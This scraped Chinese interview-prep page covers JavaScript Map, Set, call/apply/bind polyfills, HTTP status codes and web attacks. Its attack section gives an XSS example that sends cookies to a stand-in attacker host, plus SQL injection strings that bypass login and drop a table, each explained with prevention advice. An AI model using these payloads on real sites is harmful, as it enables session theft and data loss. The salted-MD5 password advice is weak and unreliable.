7
8
9
10
const map = new Map([
['name', '张三'],
['title', 'Author']
]);

map.size // 2
map.has('name') // true
map.get('name') // "张三"
map.has('title') // true
map.get('title') // "Author"

当参数为数组是,其内部的逻辑如下:

1
2
3
4
5
6
7
8
9
10
const items = [
['name', '张三'],
['title', 'Author']
];

const map = new Map();

items.forEach(
([key, value]) => map.set(key, value)
);

如果读取一个未知的键,则返回 undefined

1
new Map().get('asfddfsasadf'); // undefined

注意,只有对同一个对象的引用,Map 结构才将其视为同一个键。

1
2
3
4
const map = new Map();

map.set(['a'], 555);
map.get(['a']) // undefined

上面代码的set和get方法,表面是针对同一个键,但实际上这是两个值,内存地址是不一样的,因此get方法无法读取该键,返回undefined。

同理,同样的值的两个实例,在 Map 结构中被视为两个键。

1
2
3
4
5
6
7
8
9
10
11
const map = new Map();

const k1 = ['a'];
const k2 = ['a'];

map
.set(k1, 111)
.set(k2, 222);

map.get(k1) // 111
map.get(k2) // 222

由上可知,Map 的键实际上是跟内存地址绑定的,只要内存地址不一样,就视为两个键。注意:以上说的只针对引用类型。

如果 Map 的键是一个简单类型的值(数字、字符串、布尔值),则只要两个值严格相等,Map 将其视为一个键,比如0和-0就是一个键,布尔值true和字符串true则是两个不同的键。另外,undefined和null也是两个不同的键。虽然NaN不严格相等于自身,但 Map 将其视为同一个键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let map = new Map();

map.set(-0, 123);
map.get(+0) // 123

map.set(true, 1);
map.set('true', 2);
map.get(true) // 1

map.set(undefined, 3);
map.set(null, 4);
map.get(undefined) // 3

map.set(NaN, 123);
map.get(NaN) // 123

Map 的属性或方法
属性:

  • size 属性
    1
    2
    3
    4
    5
    const map = new Map();
    map.set('foo', true);
    map.set('bar', false);

    map.size // 2

方法:

  1. 操作方法

    • set(key, value):设置键名key对应的键值为value,然后返回整个 Map 结构,即可以链式操作。
    • get(key):读取key对应的键值,如果找不到key,返回undefined。
    • has(key):查询某个键是否在当前 Map 对象之中,返回布尔值。
    • delete(key):删除某个键,返回true。如果删除失败,返回false。
    • clear():清除所有成员,没有返回值。
  2. 遍历方法

    • [Symbol.iterator](): 返回键值的遍历器
    • keys():返回键名的遍历器。
    • values():返回键值的遍历器。
    • entries():返回所有成员的遍历器。
    • forEach():遍历 Map 的所有成员。
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      const map = new Map([
      ['F', 'no'],
      ['T', 'yes'],
      ]);

      for (let key of map.keys()) {
      console.log(key);
      }
      // "F"
      // "T"

      for (let value of map.values()) {
      console.log(value);
      }
      // "no"
      // "yes"

      for (let item of map.entries()) {
      console.log(item, item[0], item[1]);
      }
      // ["F", "no"] "F" "no"
      // ["T", "yes"] "T" "yes"

      // 或者
      for (let [key, value] of map.entries()) {
      console.log(key, value);
      }
      // "F" "no"
      // "T" "yes"

      // 注意,for of遍历可使用break或continue跳出或跳过循环,for in遍历没有。

Map 结构转为数组结构,比较快速的方法是使用扩展运算符(…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const map = new Map([
[1, 'one'],
[2, 'two'],
[3, 'three'],
]);

[...map.keys()]
// [1, 2, 3]

[...map.values()]
// ['one', 'two', 'three']

[...map.entries()]
// [[1,'one'], [2, 'two'], [3, 'three']]

[...map]
// [[1,'one'], [2, 'two'], [3, 'three']]

Set

含义和基本用法
ES6 提供了新的数据结构 Set。它类似于数组,但是成员的值都是唯一的,没有重复的值,我们可以利用 Set 的成员唯一性来实现数组的去重

1
2
3
4
5
6
7
8
9
10
const s = new Set();

[2, 3, 5, 4, 5, 2, 2].forEach(x => s.add(x));

console.log([...s]); // [2, 3, 5, 4]

for (let i of s) {
console.log(i);
}
// 2 3 5 4

利用 Set 给数组或字符串去重

1
2
3
4
5
[...new Set([2, 3, 5, 4, 5, 2, 2])]; // [2, 3, 5, 4]
Array.from(new Set([2, 3, 5, 4, 5, 2, 2])); // 使用Array.from 将Set转换成数组

[...new Set('2354522')].join(''); // "2354"
Array.from(new Set('2354522')).join('')

Set函数可以接受一个数组(或者具有 iterable 接口的其他数据结构)作为参数,用来初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 例一
const set = new Set([1, 2, 3, 4, 4]);
[...set] // [1, 2, 3, 4]


// 例二
const items = new Set([1, 2, 3, 4, 5, 5, 5, 5]);
items.size // 5


// 例三
const set = new Set(document.querySelectorAll('div')); // 接收一个数组对象
set.size // 56

// 类似于
const set = new Set();
document
.querySelectorAll('div')
.forEach(div => set.add(div));
set.size // 56

Set 的属性或方法
属性:

  • Set.prototype.constructor:构造函数,默认就是 Set 函数。
  • Set.prototype.size:返回 Set 实例的成员总数。

方法:

  1. 操作方法

    • add(value):添加某个值,返回 Set 结构本身。
    • delete(value):删除某个值,返回一个布尔值,表示删除是否成功。
    • has(value):返回一个布尔值,表示该值是否为 Set 的成员。
    • clear():清除所有成员,没有返回值。
  2. 遍历方法

    • [Symbol.iterator](): 返回键值的遍历器
    • keys():返回键名的遍历器。
    • values():返回键值的遍历器。
    • entries():返回键值对的遍历器。
    • forEach():使用回调函数遍历每个成员。
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      let set = new Set(['red', 'green', 'blue']);

      for (let item of set.keys()) {
      console.log(item);
      }
      // red
      // green
      // blue

      for (let item of set.values()) {
      console.log(item);
      }
      // red
      // green
      // blue

      for (let item of set.entries()) {
      console.log(item);
      }
      // ["red", "red"]
      // ["green", "green"]
      // ["blue", "blue"]

      set.forEach((key, value) => console.log(key + ' : ' + value)); // key = value
      // red : red
      // green : green
      // blue : blue

Set 和 Object 判断是否有某个Key的对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 对象的写法
const properties = {
'width': 1,
'height': 1
};

if (properties[someName]) {
// do something
}


// Set的写法
const properties = new Set();

properties.add('width');
properties.add('height');

if (properties.has(someName)) {
// do something
}


call和apply的区别

本质:改变 this 的指向

1
2
3
4
5
6
7
8
9
10
// apply()方法:调用一个对象的一个方法,用另一个对象替换当前对象。
// 例如:B.apply(A, arguments); 即A对象应用B对象的方法。
func.apply(thisObj[, argArray]); // 2个参数,参数2为数组

// call()方法:调用一个对象的一个方法,用另一个对象替换当前对象。
// 例如:B.call(A, args1,args2); 即A对象调用B对象的方法。
func.call(thisObj[, arg1[, arg2[, [, ...argN]]]]); // 多个参数,其他参数为非数组


// 参数1 thisObj 是可选的。在 func 函数运行时使用的 this 值。请注意,this 可能不是该方法看到的实际值:如果这个函数处于非严格模式下,则指定为 null 或 undefined 时会自动替换为指向全局对象(window),原始值会被包装。

1、举例用途1:获取数组中最大最小值

1
2
3
// apply会将参数2的数组装换成一个个的参数,如将下例中的[1, 2, 3, 4]转换成1, 2, 3, 4.
Math.max.apply(null, [1, 2, 3, 4]); // 参数1可写成null、undefined、this、Math、window
Math.min.apply(null, [1, 2, 3, 4]);

2、举例用途2:拼接数组

1
2
3
4
5
6
7
8
var arr1 = new Array("1", "2", "3");
var arr2 = new Array("4", "5", "6");
Array.prototype.push.apply(arr1, arr2); // 返回数组长度 6
arr1.push.apply(arr1, arr2); // arr1: ["1", "2", "3", "4", "5", "6"], arr1对象调用Array的push方法

// 上面的等同于
arr1.push(...arr2); // ES6语法
arr1.concat(arr2); // ES5语法

3、举例3:面试题

1
2
3
4
5
6
7
8
9
10
11
12
13
// 实现一个log方法,传入不定的参数,内部打印出console.log()日志

// es6
function log (...args) {
console.log(...args);
}

// es5
function log() {
// arguments输出的是一个数组,...arguments等到的是不定参数
console.log.apply(this, arguments);
}
log(1, 2, 3, 4);

1.) console.log 挂载在 window
2.) this 的指向需要看上下文,一开始 this 指向 window
3.) 使用 apply 将log方法中 this 指向 widnow 变成指向 console
4.) 参数1本例中可以使用 nullundefinedthiswindowconsole,他表示在 console.log 运行时的 this 指向

4、严格模式 + 非严格模式

1
2
3
4
5
'use strict'
function fn( a, b ){
console.log( this )
}
fn(1, 2)

1.) 严格模式下 this 指向 undefined
2.) 非严格模式下 this 会被转成全局的 window


call、apply、bind

参考:博客园 call,apply,bind

callapplybindFunction 对象自带的三个方法,都是为了改变函数体内部 this 的指向;
callapplybind 三者第一个参数都是 this 要指向的对象,也就是想指定的上下文;
callapplybind 三者都可以利用后续参数传参;
bind 是返回对应 函数,需要手动调用;applycall 则是立即调用。

举例

1
2
3
4
5
6
7
8
9
10
11
12
function fruits() {}

fruits.prototype = {
color: 'red',
say: function() {
console.log('My color is ' + this.color);
}
};

var apple = new fruits; // 不传参时括号可以省略
apple.say(); // 此时方法里面的 this 指的是 fruits
// 结果: My color is red

如果我们有一个对象 banana = {color : 'yellow'} ,我们不想重新定义 say 方法,那么我们可以通过 callapply 来使用 applesay 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
var banana = {
color: 'yellow'
};

apple.say.call(banana); // 此时的 this 的指向已经同过 call() 方法改变了,指向的是 banana
// 结果: My color is yellow

apple.say.apply(banana); // 此时的 this 的指向已经同过 apply() 方法改变了,指向的是 banana
// 结果: My color is yellow

// 如果参数传null
apple.say.apply(null); // 因为 null 是 window 下的,所以此时 this 指向了 window
// 结果: My color is undefined

call、apply传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var arr1 = [1, 2, 3, 4, 5];
var arr2 = [6, 7, 8, 9, 10];
var arr3 = [11, 12, 13, 14, 15];
var str = '16';

// 第一种:
Array.prototype.push.apply(arr1, arr2); // 10
console.log(arr1); // [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

Array.prototype.push.call(arr1, arr2); // 6
console.log(arr1); // [1, 2, 3, 4, 5, [6, 7, 8, 9, 10]]

// 第二种:
Array.prototype.push.apply(arr1, arr2, arr3); // 10
console.log(arr1); // [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

Array.prototype.push.call(arr1, arr2, arr3); // 7
console.log(arr1) // [1, 2, 3, 4, 5, [6, 7, 8, 9, 10], [11, 12, 13, 14, 15]]

// 第三种:
Array.prototype.push.apply(arr1, str);
console.log(arr1); // Uncaught TypeError: CreateListFromArrayLike called on non-object

Array.prototype.push.call(arr1, str); // 6
console.log(arr1); // [1, 2, 3, 4, 5, "21"]

call 参数可以传多个,从第二个参数开始,call 会把他们当成一个元素,和它们本身的类型无关,call 的参数都是事先就知道的
apply 参数可以传两个,且第二个参数必须使用 Arrayapply 的参数可以是不定的(第二个参数内不定)
callapply 唯一的区别就是参数不同, call 可以传多个参数,apply 只能传两个且第二个是数组

bind方法

bind方法会创建一个新函数,称之为绑定函数。当调用这个绑定函数时,绑定函数会将创建它时传入 bind() 方法的第一个参数作为 this,传入 bind() 方法的第二个及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数。

1
2
3
4
5
6
7
8
9
10
11
12
var bar = function(){
console.log(this.x);
};

var foo = {
x:3
};

bar(); // undefined
var func = bar.bind(foo); // 将foo对象绑定给bar,此时this会指向foo. 但是用bind() 方法并不会立即执行,而是创建一个新函数,如果要直接调用的话,可以 bar.bind(foo)();

func(); // 3

JavaScript 中,多次使用 bind() 是无效的。bind() 的实现相当于在内部包了一个 callapply,第二次 bind() 相当于再包住第一次 bind(),所有第二次以后的 bind() 是无法生效的。

1
2
3
4
5
6
7
8
9
10
11
12
var bar = function(){
console.log(this.x);
};
var foo = {
x:3
};
var sed = {
x:4
};

var func = bar.bind(foo).bind(sed); // 使用两次bind()
func(); // 3 第二次以后的bind()是无效的

call、apply、bind异同

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
x: 5,
};

var foo = {
getX: function() {
return this.x;
}
}
console.log(foo.getX.bind(obj)()); // 5
console.log(foo.getX.call(obj)); // 5
console.log(foo.getX.apply(obj)); // 5

如何选用

如果不需要关心具体有多少参数传入函数,选用 apply();
如果确定函数可以接受多少个参数,并且想一目了然的知道形参和实参的的对应关系,选用 call();
如果不需要立即执行,将来手动调用时,选用 bind()();

手动模拟实现call、apply、bind

参考:简书 手动实现call, apply, bind

  1. 模拟前须知

    首先我们知道,对象上的方法,在调用时,this 是指向对象的。

    1
    2
    3
    4
    5
    6
    let o = {
    fn:function(){
    console.log(this);
    }
    }
    o.fn() // Object {fn: function}

    知道了这点,我们就可以实现改变 this 指向了

    1
    2
    3
    4
    5
    6
    7
    8
    // 函数原型上添加 myCall方法 来模拟call
    Function.prototype.myCall = function(obj){
    //我们要让传入的obj成为, 函数调用时的this值.
    obj._fn_ = this; //在obj上添加_fn_属性,值是this(要调用此方法的那个函数对象)。
    obj._fn_(); //在obj上调用函数,那函数的this值就是obj.
    delete obj._fn_; // 再删除obj的_fn_属性,去除影响.
    //_fn_ 只是个属性名 你可以随意起名,但是要注意可能会覆盖obj上本来就有的属性
    }

    测试:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    let test = {
    name:'test'
    }
    let o = {
    name:'o',
    fn:function(){
    console.log(this.name);
    }
    }
    o.fn() // "o"
    o.fn.call(test) // "test"
    o.fn.myCall(test) // "test"
  1. 模拟call
    2.1 es6

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    Function.prototype.myCall = function(obj, ...arg){
    // 传参检测
    if(obj === null || obj === undefined){
    obj = window;
    } else {
    obj = Object(obj);
    }

    let val ;
    obj._fn_ = this;
    val = obj._fn_(...arg); //不能直接return obj._fn_(...arg) 这样就不delete属性了
    delete obj._fn_;
    return val;
    }

    //测试
    let test = {
    name: 'test'
    }
    let o = {
    name:'o',
    fn: function() {
    console.log(this.name, ...arguments); //这里把参数显示一下
    }
    }

    o.fn(1, 2, 3) // "o" 1 2 3
    o.fn.call(test, 1, 2, 3) // "test" 1 2 3
    o.fn.myCall(test, 1, 2, 3) // "test" 1 2 3
    // 没问题

    2.2 非es6

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Function.prototype.myCall = function(obj){
    let arg = [];
    let val ;
    for(let i = 1; i < arguments.length; i++){
    arg.push( 'arguments[' + i + ']' ) ;
    }
    obj._fn_ = this;
    val = eval( 'obj._fn_(' + arg + ')' )
    delete obj._fn_;
    return val;
    }
  2. 模拟apply
    3.1 es6 + myCall方法

    1
    2
    3
    4
    5
    6
    7
    8
    Function.prototype.myApply = function(obj, arr){
    let args = [];
    for(let i = 0; i < arr.length; i++){
    args.push( arr[i] );
    }
    // 其实直接 ...arr 传参也可以 但是效果就和aplly有微小差别了
    return this.myCall(obj, ...args);
    }

    3.2 非es6 + myCall方法

    1
    2
    3
    4
    5
    6
    7
    Function.prototype.myApply = function(obj, arr){
    let args = [];
    for(let i = 0; i < arr.length; i++){
    args.push( 'arr[' + i + ']' ); // 这里也是push 字符串
    }
    return eval( 'this.myCall(obj,' + args + ')' );
    }

    3.3 非es6

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Function.prototype.myApply = function(obj, arr){
    let args = [];
    let val ;
    for(let i = 0; i < arr.length; i++){
    args.push( 'arr[' + i + ']' ) ;
    }
    obj._fn_ = this;
    val = eval( 'obj._fn_(' + args + ')' )
    delete obj._fn_;
    return val
    }
  3. 模拟bind
    4.1 es6 + myApply方法

    1
    2
    3
    4
    5
    Function.prototype.myBind = function(obj,...arg1){   //arg1收集剩余参数
    return (...arg2) => { //返回箭头函数, this绑定调用这个方法(myFind)的函数对象
    return this.myApply( obj, arg1.concat(arg2) ); // 将参数合并
    }
    }

    4.2 es6

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Function.prototype.myBind = function(obj, ...arg1){
    return (...arg2) => {
    let args = arg1.concat(arg2);
    let val ;
    obj._fn_ = this;
    val = obj._fn_( ...args );
    delete obj._fn_;
    return val
    }
    }

    4.3 非es6

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    Function.prototype.myFind = function(obj){
    let _this = this;
    let argArr = [];
    let arg1 = [];
    for(let i = 1; i < arguments.length; i++){
    arg1.push( arguments[i] );
    argArr.push( 'arg1[' + (i - 1) + ']' ) ;
    }
    return function(){
    let val ;
    for(let i = 0; i < arguments.length; i++){
    argArr.push( 'arguments[' + i + ']' ) ;
    }
    obj._fn_ = _this;
    console.log(argArr);
    val = eval( 'obj._fn_(' + argArr + ')' ) ;
    delete obj._fn_;
    return val;
    };
    }

简述http工作原理

原理

常见的http状态码:

  • 1XX系列:指定客户端应相应的某些动作,代表请求已被接受,需要继续处理。

  • 2XX系列:代表请求已成功被服务器接收、理解、并接受。
    200(成功): 请求成功
    201(已创建): 请求成功并且服务器创建了新的资源
    202(已接受): 服务器已接受请求,但尚未处理

  • 3XX系列:代表需要客户端采取进一步的操作才能完成请求,这些状态码用来重定向,后续的请求地址(重定向目标)在本次响应的 Location 域中指明。
    300(多种选择): 针对请求,服务器可执行多种操作
    301(永久移动): 被请求的资源已永久移动到新位置
    302(临时移动): 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求

  • 4XX系列:代表了客户端看起来可能发生了错误,妨碍了服务器的处理。
    400(错误请求): 服务器不理解请求的语法
    401(未授权): 请求要求身份验证
    403(拒绝): 服务器已经理解请求,但是拒绝执行它
    404(未找到): 服务器找不到请求的网页
    413(请求实体过大): 请求实体过大,服务器无法处理请求
    414(请求的URI过长): 请求的 URI(通常为网址)过长,服务器无法处理

  • 5xx系列:代表了服务器在处理请求的过程中有错误或者异常状态发生。
    500(服务器内部错误): 服务器错误
    502(错误网关): 服务器作为网关或代理,从上游服务器收到无效响应
    505(HTTP版本不受支持): 服务器不支持请求中所用的 HTTP 协议版本


几种常见web攻击手段

前端面试只需答 XSSCSRF 两种

XSS(跨站脚本攻击)

  • 概念
    全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。

  • 案例
    比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的<script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

  • 被攻击的原因
    用户输入的数据变成了代码,比如说上面的<script>,应该只是字符串却有了代码的作用。

  • 预防
    将输入的数据进行转义处理,比如说讲 < 转义成&lt;

CSRF(跨站请求伪造)

  • 概念
    全称是跨站请求伪造(cross-site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。

  • 案例
    1、这个例子可能现实中不会存在,但是攻击的方式是一样的。比如说我登录了A银行网站,此时存储了cookie。然后我又访问了另一个网站B,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000。这个时候A没有校验该请求是B发起的,那么很可能就向账号为666的人转了1w。
    2、注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接。

  • 被攻击的原因
    用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求。

  • 预防
    1、之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。

    2、通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。

SQL注入

  • 概念
    通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击。

  • 案例
    1、' or '1'= '1。这是最常见的sql注入攻击,当我们输如用户名 jiajun ,然后密码输如 'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是 select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or '1'='1',这个时候1=1是成立,自然就跳过验证了。

    2、但是如果再严重一点,密码输入的是 ';drop table user;--,那么sql命令为 select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了。

  • 被攻击的原因
    sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击。

  • 预防
    1、在java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。

    2、很多orm框架已经可以对参数进行转义。

    3、做最坏的打算,即使被’拖库‘(‘脱裤,数据库泄露’)。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。

DDOS

  • 概念
    分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

  • 案例
    1、SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求已被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。

    2、CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。

  • 被攻击的原因
    服务器带宽不足,不能挡住攻击者的攻击流量。

  • 预防
    1、最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。
    2、云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源。


[‘1’, ‘2’, ‘3’].map(parseInt);

结果:[1, NaN, NaN]

考察知识点:mapparseInt

  • map传递两个参数:Array.map(element, index, array)

  • parseInt传递两个参数:parseInt(string, radix)
    参数radix表示进制数,2~36,如果不设置或为0,则默认取10进制转换,如果小于0、等于1或大于36,则返回NaN

原题先转换成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
['1', '2', '3'].map(function (element) {
return `${element}`; // ["1", "2", "3"]
});

['1', '2', '3'].map(function (element, index) {
return `${element}-${index}`; // ["1-0", "2-1", "3-2"]
});

['1', '2', '3'].map(function (element, index, array) {
return `${element}-${index}-${array}`; // ["1-0-1,2,3", "2-1-1,2,3", "3-2-1,2,3"]
});

['1', '2', '3'].map(function (element, index, array, other) {
return `${element}-${index}-${array}-${other}`; // ["1-0-1,2,3-undefined", "2-1-1,2,3-undefined", "3-2-1,2,3-undefined"]
});

由此可以也可以看出,map的参数最多3个。
原题先求执行 map ,然后再执行括号中的 parseIntparseInt 接收的参数是 map 中的 elementindex
所以原题再转换成:

1
2
3
4
5
6
7
8
9
parseInt('1', 0); // 1
parseInt('2', 1); // NaN,因为没有1进制
parseInt('3', 2); // NaN,虽然有二进制,但是2进制中没有3

// 同理
parseInt('4', 3)
parseInt('5', 4)
parseInt('6', 5)
['1', '2', '3', '4', '5', '6'].map(parseInt); // [1, NaN, NaN, NaN, NaN, NaN]

同理

1
2
3
4
5
6
[10, 10, 10].map(parseInt) // [10, NaN, 2]

function add (num1, num2) {
return num1 + num2
}
[1, 2, 3].map(add) // [1, 3, 5]


[]==false 为什么为 true!![]==false 为什么为 false, [] == ![] 为什么为 true

segmentfault
js隐式转换:

  1. 数字 == 字符串 => 数字 == 数字
  2. 数字 == 布尔值 => 数字 == 数字
  3. 字符串 == 布尔值 => 数字 == 数字
  4. 对象 == 布尔值 => 对象 == 数字
  5. 对象 == 数字 => 字符串 == 数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[] == false; // true
!![] == false; // false

'' == false; // true;
!!'' == false; // true
'' == 0; // true
!!'' == 0; // true

[1] == '1'; // true
null == 0; // false
null == false; // false
null == ''; // false
null == undefined; // true

0 == false; // true
1 == true; // true
2 == true; // false

[] == false 转换过程如下:

  1. [] == false; // 对象和布尔值,如果有布尔值,先将布尔值转换成数字
    如果其中一个操作数为布尔类型,那么布尔操作数如果为true,那么会转换为1,如果为false,会转换为整数0,即0。

  2. [] == 0; // 原值和非原值,把非原值转换成原值,toString()方法
    如果一个对象与数字或字符串相比较,JavaScript会尝试返回对象的默认值。操作符会尝试通过方法valueOf和toString将对象转换为其原始值(一个字符串或数字类型的值)。如果尝试转换失败,会产生一个运行时错误。
    注意:当且仅当与原始值比较时,对象会被转换为原始值。当两个操作数均为对象时,它们作为对象进行比较,仅当它们引用相同对象时返回true

  3. ‘’ == 0; // 字符串和数字,把字符串转换成数字,Number()方法
    当比较数字和字符串时,字符串会转换成数字值。 JavaScript 尝试将数字字面量转换为数字类型的值。 首先, 一个数学上的值会从数字字面量中衍生出来,然后这个值将被转为一个最接近的Number类型的值。

  4. 0 == 0;

!![] == false 转换过程如下:

  1. 非运算符优先级大于 ==,先执行![] // !对象 返回 false
  2. !false = true

!!’’ == false 转换过程如下:

  1. 非运算符优先级大于 ==,先执行!’’ // !空字符串 返回 true、!非空字符串 返回 false
  2. !true = false

[] == ![] 为true的转换过程如下:

  1. 转换成原始值(toString方法) ‘’ == false
  2. 转换成数字和数字 0 == 0

注意:当且仅当与原始值比较时,对象会被转换为原始值。当两个操作数均为对象时,它们作为对象进行比较,仅当它们引用相同对象时返回true
字符串对象的类型是对象,不是字符串!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = new String('javascript') // typeof a === 'object'
var b = new String('javascript')

a == 'javascript' // true
a === 'javascript' // false
b == 'javascript' // true
b === 'javascript' // false

a === b // false
a == b // false


var a = String('javascript') // typeof a === 'string'
var b = String('javascript')
a === b // true
a == b // true

效果如下:

1
2
3
4
5
6
7
8
9
var a = {}
var b = {}
var c = a
a == b // false
a === b // false
a == c // true
a == c // true

// a、b为引用类型,判断时看引用的地址,a、b地址不同,a、c地址相同

如何让变量变成可执行(类似函数)

1
2
3
4
5
6
7
8
9
// 实现控制台输入 toggle 变量后扭转程序的状态

var flag = true
Object.defineProperty(window, 'toggle', {
get () {
flag = !flag
return ''
}
})

防疲劳处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 弹窗每 10s 内只能出现 3 次,弹窗本身只可以看,不可操作

function showAlert (count) {
console.log('alert visible:', count)
}
function fn (time, n) {
var count = 0
return function () {
if (count >= n) return
showAlert(count)
count++
setTimeout(() => {
count--
}, time * 1000)
}
}
var f = fn(10, 3)

链式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/**
* waitFirst 优先级大于 wait,先执行waitFirst,再执行前面的,再执行后面的
*
* fn('msg')
* console.log('hello msg')
*
* fn('msg').wait(5).do('str')
* console.log('hello msg')
* ... wait 5s
* console.log('hello str')
*
* fn('msg').wait(5).do('str').do('name')
* console.log('hello msg')
* ... wait 5s
* console.log('hello str')
* console.log('hello name')
*
* fn('msg').waitFirst(5).do('str').do('name')
* ... wait 5s
* console.log('hello msg')
* console.log('hello str')
* console.log('hello name')
*/

function Fn (msg) {
this.msg = msg
this.queue = [] // 使用任务队列(先进先出的思想模拟执行顺序)

const fn = () => {
console.log(`hello ${msg}`)
this.next() // 执行完之后取出队列下一个函数执行
}
this.queue.push(fn)

setTimeout(() => {
console.log(this)
this.next()
}, 0) // 异步,先等prototype执行完,将所以事件进行收集再执行

return this
}

Fn.prototype = {
wait (time) {
const fn = () => {
setTimeout(() => {
this.next()
}, time * 1000)
}
this.queue.push(fn) // 普通级别的放在队尾
return this
},
waitFirst (time) {
const fn = () => {
setTimeout(() => {
this.next()
}, time * 1000)
}
this.queue.unshift(fn) // 优先级高的放入队首
return this
},
do (name) {
const fn = () => {
console.log(`hello ${name}`)
this.next()
}
this.queue.push(fn) // 普通级别的放在队尾
return this
},
// 从任务队列中取出函数执行
next () {
const fn = this.queue.shift() // 从头部取出函数
fn && fn()
}
}

// new Fn('msg')
// new Fn('msg').wait(2).do('aaa')
// new Fn('msg').wait(2).do('aaa').do('bbb')
// new Fn('msg').waitFirst(2).do('aaa').do('bbb')
new Fn('msg').waitFirst(2).wait(2).do('bbb')

同时满足 a==1 && a==12

1
2
3
4
var a = ???;
if(a == 1 && a == 12){
console.log(a);
}

分析:变量a要同时满足==1和==12两个条件,需要实现这种情况,a在执行第一次的时候必然会进行动态改变

解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 数字的原型上有valueOf、toString等方法,此例中需要重写 a.valueOf 方法
var a = {
i: 1,
valueOf () {
if (this.i === 1) {
this.i++ // 取完值后就不再=1了
return 1
} else {
return 12
}
}
}
if(a == 1 && a == 12){
console.log(a);
}

